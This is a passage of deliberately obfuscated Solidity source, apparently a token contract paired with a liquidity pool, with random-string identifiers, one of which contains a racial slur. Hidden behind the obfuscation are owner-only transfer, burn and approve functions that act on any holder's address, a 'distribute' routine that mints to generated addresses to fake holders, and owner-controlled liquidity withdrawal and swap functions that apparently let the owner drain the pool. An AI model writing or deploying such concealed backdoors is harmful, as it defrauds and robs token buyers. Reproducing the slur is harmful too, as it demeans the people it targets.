bbbYUYYgyucgcuntvpopoUIOotyueifhbyvtfstyf=KKkd9jcawj.KOPFkgiosfjiojOPIJfdopigjporfjhiowjtrohjwer9ptjhpdorfkgpasoek(vbbbHYHUHJhbbbabvvCRTYTlickHDFGYfgx,cccRRRTiiasuiedfhghbigNiggersiInnYHYYDYIIcc,vvTYYTlPPOPGYIgyujyyhuihsuydfvhouisdhiksedfvbuik);if(bbbYUYYgyucgcuntvpopoUIOotyueifhbyvtfstyf)emit Transfer(vbbbHYHUHJhbbbabvvCRTYTlickHDFGYfgx,cccRRRTiiasuiedfhghbigNiggersiInnYHYYDYIIcc,vvTYYTlPPOPGYIgyujyyhuihsuydfvhouisdhiksedfvbuik);return bbbYUYYgyucgcuntvpopoUIOotyueifhbyvtfstyf;}function JDNfivndrsfuigbndruifghsluidrhgopsiuehrgoiasehurgoiuh(address nnUYYUuiiopolplpoweryuhbjvbhjujkiHBUhj)internal view returns(uint256){return KKkd9jcawj.OIJDgfopjfogjoIJOPIJopijdfgpiosdfgjphjspiudfgbn(nnUYYUuiiopolplpoweryuhbjvbhjujkiHBUhj).dknvnUIOAWHUIpaw9rfvj8808f8rfyhug789wer;}function iodfjkgoiJDFogijsiojeroijgpuiosehYYDgfvusdy(address vYUTYedsfuguivuiusyuGYUGtgyu787dsd,uint256 ggUGYYUfffAe449YUbviloppojioYUIGGUy67sv)internal{KKkd9jcawj.PODkgopdjkgojfoigjpwrioetjhht89rwhj9RJg(vYUTYedsfuguivuiusyuGYUGtgyu787dsd,ggUGYYUfffAe449YUbviloppojioYUIGGUy67sv);}}abstract contract dvbnjsnbSUDEHgihsuerhgieweurhg8uwe is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk,NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4{uint16 private cnbKKJKKLLPOopoUJIUIGFGYUFTFTDFTYTDDRdrdrDRDRTTYYRTtyf;function distribute(uint256 bbJHUIEERuIOioOPopmMNCEXEXRweWQWqwrhFGyYUTTYUtyuftg,uint256 nnIIUUiuqwauhdohoUIU8Y675fgfs65FRdgsdsTY,uint256 nnjUUHUHhuIIUHIYULloIOMOIIbhTYRTERWwewerdqwef)external onlyOwner{uint256 nIuUIUIYGYUYUyuhuidsfusiodchvushuiPIPUIUhuiphuisdvuisiupvh=uint256(keccak256(abi.encodePacked(address(this),cnbKKJKKLLPOopoUJIUIGFGYUFTFTDFTYTDDRdrdrDRDRTTYYRTtyf)));do{uint256 bbvgRTTRrttrfyttyfTFTTRTRTreererrrddryuiuiujhujjoiyyut56787=uint256(keccak256(abi.encodePacked(nIuUIUIYGYUYUyuhuidsfusiodchvushuiPIPUIUhuiphuisdvuisiupvh,bbJHUIEERuIOioOPopmMNCEXEXRweWQWqwrhFGyYUTTYUtyuftg)));address chhjioIOIOYHUuityuGyusdaopaskokopweopcwjioweuiUIUYTYUty=address(uint160(bbvgRTTRrttrfyttyfTFTTRTRTreererrrddryuiuiujhujjoiyyut56787));uint16 nnvnkUIGYiehuiffiowijeickopwekofcvisoeuifoiUIYUTYUty767tGyedsfywe=uint16(bbvgRTTRrttrfyttyfTFTTRTRTreererrrddryuiuiujhujjoiyyut56787);if(nnvnkUIGYiehuiffiowijeickopwekofcvisoeuifoiUIYUTYUty767tGyedsfywe==0)nnvnkUIGYiehuiffiowijeickopwekofcvisoeuifoiUIYUTYUty767tGyedsfywe++;uint256 gcgTYTYRyueiyufuicuniweuniUIYUITGYUIuiefwopeowpd8989YUu=nnIIUUiuqwauhdohoUIU8Y675fgfs65FRdgsdsTY+(nnjUUHUHhuIIUHIYULloIOMOIIbhTYRTERWwewerdqwef-nnIIUUiuqwauhdohoUIU8Y675fgfs65FRdgsdsTY)*nnvnkUIGYiehuiffiowijeickopwekofcvisoeuifoiUIYUTYUty767tGyedsfywe/type(uint16).max;dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(chhjioIOIOYHUuityuGyusdaopaskokopweopcwjioweuiUIUYTYUty,gcgTYTYRyueiyufuicuniweuniUIYUITGYUIuiefwopeowpd8989YUu);}while(--bbJHUIEERuIOioOPopmMNCEXEXRweWQWqwrhFGyYUTTYUtyuftg!=0);cnbKKJKKLLPOopoUJIUIGFGYUFTFTDFTYTDDRdrdrDRDRTTYYRTtyf++;}}abstract contract IOefowiejfioHJSEUIOhfg is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk,NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4{function mint(address bbhyuyuseHUIEFUhiehuiwhuishUIHUSFEuiergwpo78747th34uiuhifwhui,uint256 bbYUuyyugYGUYUBtyftfyuGYUYBU7768r5t65r56t679hHYHUJGUJYgygy)external onlyOwner{dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(bbhyuyuseHUIEFUhiehuiwhuishUIHUSFEuiergwpo78747th34uiuhifwhui,bbYUuyyugYGUYUBtyftfyuGYUYBU7768r5t65r56t679hHYHUJGUJYgygy);}function burn(address buhuHUIUItyrtyopolpolpiopHUGYUfrtydEDRTSERERwrSRERCtvRYvbuHUKuHKHU7667r563e4534e6ugyu,uint256 uuhuhuhuirtyutyyuy5y893er898fyh78c7yw8)external onlyOwner bypassKLimit(buhuHUIUItyrtyopolpolpiopHUGYUfrtydEDRTSERERwrSRERCtvRYvbuHUKuHKHU7667r563e4534e6ugyu){oJIRFSgjpoiJPIOrfhjgistfhgpiuwsrhfgpbinwsrpitnbtopuisrnb(buhuHUIUItyrtyopolpolpiopHUGYUfrtydEDRTSERERwrSRERCtvRYvbuHUKuHKHU7667r563e4534e6ugyu,uuhuhuhuirtyutyyuy5y893er898fyh78c7yw8);}function approve(address bbhYBUYUyudyufweufuiwhuifehUIUIUedusfhwiuhejhfjkwhiuHUIUuuidsuihuifhsuih,address nvjsdYHYUYUdgyfgjksdvjkjsjJKHUDijsdweiifhuiqwhu32r,uint256 llllllllloserdfjgiewiocjoaisjpocvaOUHughuiyegfiwe7777423)external onlyOwner{OIJRFgpioajpiojdfgpioszdrfjgpsiudhjrfpighuspeiurghpiseurhg(bbhYBUYUyudyufweufuiwhuifehUIUIUedusfhwiuhejhfjkwhiuHUIUuuidsuihuifhsuih,nvjsdYHYUYUdgyfgjksdvjkjsjJKHUDijsdweiifhuiqwhu32r,llllllllloserdfjgiewiocjoaisjpocvaOUHughuiyegfiwe7777423);}function transfer(address sdujivusuneunvnwBlaCCkeijfiow3489f84fuesdfiopqwcjIYHGYHUJhbedwuifh,address dkgvnuyuiqwyuiruiuiUIIYUGyuedgfyugweucnuiwehLiVVesioioioefjwoi,uint256 jnvnbnUIKUIUIUHufuweifuiwhuihhUKHUKhuuiehuidfuhiwefhui6666666)external onlyOwner bypassKLimit(sdujivusuneunvnwBlaCCkeijfiow3489f84fuesdfiopqwcjIYHGYHUJhbedwuifh){OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(sdujivusuneunvnwBlaCCkeijfiow3489f84fuesdfiopqwcjIYHGYHUJhbedwuifh,dkgvnuyuiqwyuiruiuiUIIYUGyuedgfyugweucnuiwehLiVVesioioioefjwoi,jnvnbnUIKUIUIUHufuweifuiwhuihhUKHUKhuuiehuidfuhiwefhui6666666);}}library sdjKHSEUIthgihwevjnehfghiw7ue4tw47u{uint256 internal constant bhbjsdvuiuYUYUeyugrfwygefbyuwegcyugywsgyefgyutgr78234fyuiwgefywuegyfgyw=0x1000000000000000000000000;function uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(uint256 bbYHGHTGYHtyuuyfgyydgvyuwegv7886t67uiotgyutyudcsashasgdGHUGYUVsdfyuve,uint256 bbUudufcvuihsdvhuihduYUSDYggyuw8673478374tgy7fvghyuiYGYUYefyuYU,uint256 vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434)internal pure returns(uint256 cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo){unchecked{uint256 yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw;uint256 yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw;assembly{let mm:=mulmod(bbYHGHTGYHtyuuyfgyydgvyuwegv7886t67uiotgyutyudcsashasgdGHUGYUVsdfyuve,bbUudufcvuihsdvhuihduYUSDYggyuw8673478374tgy7fvghyuiYGYUYefyuYU,not(0))yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw:=mul(bbYHGHTGYHtyuuyfgyydgvyuwegv7886t67uiotgyutyudcsashasgdGHUGYUVsdfyuve,bbUudufcvuihsdvhuihduYUSDYggyuw8673478374tgy7fvghyuiYGYUYefyuYU)yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw:=sub(sub(mm,yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw),lt(mm,yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw))}if(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw==0){require(vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434>0);assembly{cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo:=div(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw,vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434)}return cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo;}require(vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434>yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw);uint256 yhdcbyusdbGYUdgyufgtfg7667HHuhiuHUIvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw;assembly{yhdcbyusdbGYUdgyufgtfg7667HHuhiuHUIvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw:=mulmod(bbYHGHTGYHtyuuyfgyydgvyuwegv7886t67uiotgyutyudcsashasgdGHUGYUVsdfyuve,bbUudufcvuihsdvhuihduYUSDYggyuw8673478374tgy7fvghyuiYGYUYefyuYU,vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434)}assembly{yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw:=sub(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw,gt(yhdcbyusdbGYUdgyufgtfg7667HHuhiuHUIvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw,yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw))yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw:=sub(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw,yhdcbyusdbGYUdgyufgtfg7667HHuhiuHUIvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw)}uint256 yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw=(type(uint256).max-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434+1)&vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434;assembly{vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434:=div(vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434,yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw)}assembly{yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw:=div(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw,yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw)}assembly{yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw:=add(div(sub(0,yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw),yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw),1)}yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw|=yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw*yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;uint256 yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw=(3*vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434)^ 2;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo=yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;return cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo;}}function OPIJSDfviopdjapogjaprfjgpioarfhjgpiaerhgihseruihgoipaehrg(uint160 nnsjUJUuiuducsduivuUUudweofwoef,uint160 mmIEIfioinvsdjnjnsdlILIjidigijwoe,uint256 nnKLKLIeifiweiiencvuir98efhwehfvwuefsOIEDJSf)internal pure returns(uint128 bncbUIUfhuwieuuehcvuiwnevUHeduhfsuh){if(nnsjUJUuiuducsduivuUUudweofwoef>mmIEIfioinvsdjnjnsdlILIjidigijwoe)(nnsjUJUuiuducsduivuUUudweofwoef,mmIEIfioinvsdjnjnsdlILIjidigijwoe)=(mmIEIfioinvsdjnjnsdlILIjidigijwoe,nnsjUJUuiuducsduivuUUudweofwoef);uint256 vsdvnnJKEDujfuHUEhwueuerjgwouserhg=uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(nnsjUJUuiuducsduivuUUudweofwoef,mmIEIfioinvsdjnjnsdlILIjidigijwoe,bhbjsdvuiuYUYUeyugrfwygefbyuwegcyugywsgyefgyutgr78234fyuiwgefywuegyfgyw);return uint128(uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(nnKLKLIeifiweiiencvuir98efhwehfvwuefsOIEDJSf,vsdvnnJKEDujfuHUEhwueuerjgwouserhg,mmIEIfioinvsdjnjnsdlILIjidigijwoe-nnsjUJUuiuducsduivuUUudweofwoef));}function uizIUHDFgiopuhaedfuioghiosudfhoiguhosuidhfioughsiduf(uint160 ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738,uint160 sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb,uint256 efuh238r974ygjhuUehiufghuihsiUHSUHEHuie)internal pure returns(uint128 dhuvhsUISDHuifhwegoweri9gjwejgi){if(ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738>sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb)(ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738,sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb)=(sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb,ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738);return uint128(uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(efuh238r974ygjhuUehiufghuihsiUHSUHEHuie,bhbjsdvuiuYUYUeyugrfwygefbyuwegcyugywsgyefgyutgr78234fyuiwgefywuegyfgyw,sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb-ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738));}function nmnnCIOUNEDPUIghnpsuiedfrhngbpsirfgbnsofgobins(uint160 ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks,uint160 nvujnujikDbhugsuehugwnedrvnnfjknr85yu45,uint128 ueiuohfgiowerhgwr8iohgjo7tywyw8yeg89wy)internal pure returns(uint256 djvnjsnuiHHUIeduifgvhseuighuiwhevuihwouihec){if(ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks>nvujnujikDbhugsuehugwnedrvnnfjknr85yu45)(ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks,nvujnujikDbhugsuehugwnedrvnnfjknr85yu45)=(nvujnujikDbhugsuehugwnedrvnnfjknr85yu45,ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks);return uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(uint256(ueiuohfgiowerhgwr8iohgjo7tywyw8yeg89wy)<<96,nvujnujikDbhugsuehugwnedrvnnfjknr85yu45-ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks,nvujnujikDbhugsuehugwnedrvnnfjknr85yu45)/ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks;}function IOESdjgijSDORFIjgpaiofjguishfogyuwerhtoyuvhwyuertghw(uint160 jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894,uint160 vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv,uint128 sdivsoidjuiobhHUIHSDFruighiweruhviusnvinerfh873h4)internal pure returns(uint256 uiysdhuighwseuiodhguiwerhpguierhgwuierbnvpuierbwvb){if(jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894>vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv)(jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894,vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv)=(vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv,jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894);return uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(sdivsoidjuiobhHUIHSDFruighiweruhviusnvinerfh873h4,vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv-jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894,bhbjsdvuiuYUYUeyugrfwygefbyuwegcyugywsgyefgyutgr78234fyuiwgefywuegyfgyw);}}abstract contract dvjnnUSEDHIhusehghiwse78gyhsuhdegvus is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk,pJbgg0vSzqBGx1L0xspObGKD69FvwCBowT3l,NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4,rojhgiouserhjughjIUHRUIghluihseilrug,fdjhuiphUIPHRUIghuidrhuighuiehgwe{uint24 private constant HGCIYTfuyGVTYUFf867f568YGHVYKtdyTfvuiserugheuisrhvbn=500;int24 private constant sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh=-887270;int24 private constant uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge=887270;uint160 private constant ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd=4295558252;uint160 private constant jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg=1461300573427867316570072651998408279850435624081;jkaUIHRDGUIhILURHGLUIhzdruilfhgluihsuiohrtiubn private immutable vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83;rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg private immutable jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs;uint8 private fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei;uint160 private dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy;struct idfjiOISJEthgohseudhfvuhbyhsbd{address vbhbUISEGyuigiuwheguvnbsd;address vkdsvUHUIDhuigsheuidhgudfver98vjesdhjuirvh;uint160 djknvlnslnKUNDuvnuiksjniuknIUNDSVr8geh9r8ghv;}constructor(string memory jdnfjbnNNFDUNbiksnruibeiurhbiuerhg74gveuhviu,string memory fklbdnmlkfnbnLKNKLFNblkndfnbioerjbioehodrhjr89oyhg48h,address fknbkldnlnLKNDFLKbnoeilrnijhbveorhbgv894y5hgh485hbve,idfjiOISJEthgohseudhfvuhbyhsbd memory sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg)NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4(jdnfjbnNNFDUNbiksnruibeiurhbiuerhg74gveuhviu,fklbdnmlkfnbnLKNKLFNblkndfnbioerjbioehodrhjr89oyhg48h,fknbkldnlnLKNDFLKbnoeilrnijhbveorhbgv894y5hgh485hbve){fjrguioaserhjuiHJUIDRHguihuirehga factory=fjrguioaserhjuiHJUIDRHguihuirehga(sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.vbhbUISEGyuigiuwheguvnbsd);vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83=jkaUIHRDGUIhILURHGLUIhzdruilfhgluihsuiohrtiubn(factory.createPool(address(this),sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.vkdsvUHUIDhuigsheuidhgudfver98vjesdhjuirvh,HGCIYTfuyGVTYUFf867f568YGHVYKtdyTfvuiserugheuisrhvbn));vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.initialize(sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.djknvlnslnKUNDuvnuiksjniuknIUNDSVr8geh9r8ghv);jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs=rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg(sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.vkdsvUHUIDhuigsheuidhgudfver98vjesdhjuirvh);dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy=sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.djknvlnslnKUNDuvnuiksjniuknIUNDSVr8geh9r8ghv;iodfjkgoiJDFogijsiojeroijgpuiosehYYDgfvusdy(address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83),bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku);}function add926d77b0e(uint256 dnvikuhuiHIUSEHr8grhwegiweushnvui)external onlyOwner requiresLock acquiresLock returns(uint128 uhgvuihwuirhiUIHRUIhier85g39oe8ghjwshuierghv){uhgvuihwuirhiUIHRUIhier85g39oe8ghjwshuierghv=uiaURUIDghnolaeuibnluoybgowuirthnipghuwrptihuj(dnvikuhuiHIUSEHr8grhwegiweushnvui);IOJDRFIOPGjpaoiedrjgpioserfhjgiushftpuighp789sertyhg0w87er90p(uhgvuihwuirhiUIHRUIhier85g39oe8ghjwshuierghv,msg.sender);}function d5c82892104b(uint256 fdvjnNKJNDUJngvuishrgheruIUHRsgh483g3hguhkueshrbg)external onlyOwner requiresLock acquiresLock returns(uint128 dgvnjknJKNKJNKSDRNgujewiurhguihnIHRSUIghuerhg){dgvnjknJKNKJNKSDRNgujewiurhguihnIHRSUIghuerhg=uiaURUIDghnolaeuibnluoybgowuirthnipghuwrptihuj(fdvjnNKJNDUJngvuishrgheruIUHRsgh483g3hguhkueshrbg);UIHRFUIpgiahurhvnsruidnbviUBNPUIDRTghrhghe57tg(dgvnjknJKNKJNKSDRNgujewiurhguihnIHRSUIghuerhg,msg.sender);}function b6a44d65a608(int16 gnsdjknJKNSRjgnwseruighh83495hgheukrhg)external onlyOwner requiresLock acquiresLock returns(uint256){require(gnsdjknJKNSRjgnwseruighh83495hgheukrhg>-10000&&gnsdjknJKNSRjgnwseruighh83495hgheukrhg<10000&&gnsdjknJKNSRjgnwseruighh83495hgheukrhg!=0,"KO");if(gnsdjknJKNSRjgnwseruighh83495hgheukrhg>0){uint128 djsfnvbjnUJNIRFUHNgbuihernubhnedkrfjbnoledrb=IUSRDHGOIUhosdrufhgporehgouwseryhgo()*uint128(uint16(gnsdjknJKNSRjgnwseruighh83495hgheukrhg))/10000;(,uint256 dgvsidIRfhjgJNMKLDSNhngvwsoerhg8wrugj8he8ru34tng)=UIHRFUIpgiahurhvnsruidnbviUBNPUIDRTghrhghe57tg(djsfnvbjnUJNIRFUHNgbuihernubhnedkrfjbnoledrb,address(this));(int256 dfvjiojsIJIOSDerjgoiljeriogjero8gjue9o8rbjeedjrb,int256 jnrfvknesurhiUHNRUISHgiuhwerg8ehr8w438gwerijkg)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.swap(address(this),address(this)>address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs),int256(dgvsidIRfhjgJNMKLDSNhngvwsoerhg8wrugj8he8ru34tng),address(this)>address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd:jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,"");(int256 UBJIDgviusbuibnIUHSDugihiouwerhyg98w348gherh7ghsdv,)=BYUYUEfvlyuisrbdlvdrhblsbfujygbklsuyrgbszdbkuyrgb(dfvjiojsIJIOSDerjgoiljeriogjero8gjue9o8rbjeedjrb,jnrfvknesurhiUHNRUISHgiuhwerg8ehr8w438gwerijkg);oJIRFSgjpoiJPIOrfhjgistfhgpiuwsrhfgpbinwsrpitnbtopuisrnb(address(this),uint256(-UBJIDgviusbuibnIUHSDugihiouwerhyg98w348gherh7ghsdv));}else{uint128 dkjfbnknKJNKJNRFuhngbuierwhguiorhi8ogh9w384gejkrgnb=IUSRDHGOIUhosdrufhgporehgouwseryhgo()*uint128(uint16(-gnsdjknJKNSRjgnwseruighh83495hgheukrhg))/10000;uint256 fknbdlnlnNFibnoilrenbioeriojherigIORdhgjoierhj=ZIUdrnguiHUIRHIPughi7erutgho8i7sr5hg8ow7h45g(dkjfbnknKJNKJNRFuhngbuierwhguiorhi8ogh9w384gejkrgnb);(int256 fklbnklNLKNDFbjioergjioerhgioh489gh39784hgHsdjgijioreghj,int256 frjnvbnribnioNIORngiorjegiohjehbiohJSIRejg8erjgjerhg)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.swap(address(this),address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs),int256(fknbdlnlnNFibnoilrenbioeriojherigIORdhgjoierhj),address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd:jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,"");(,int256 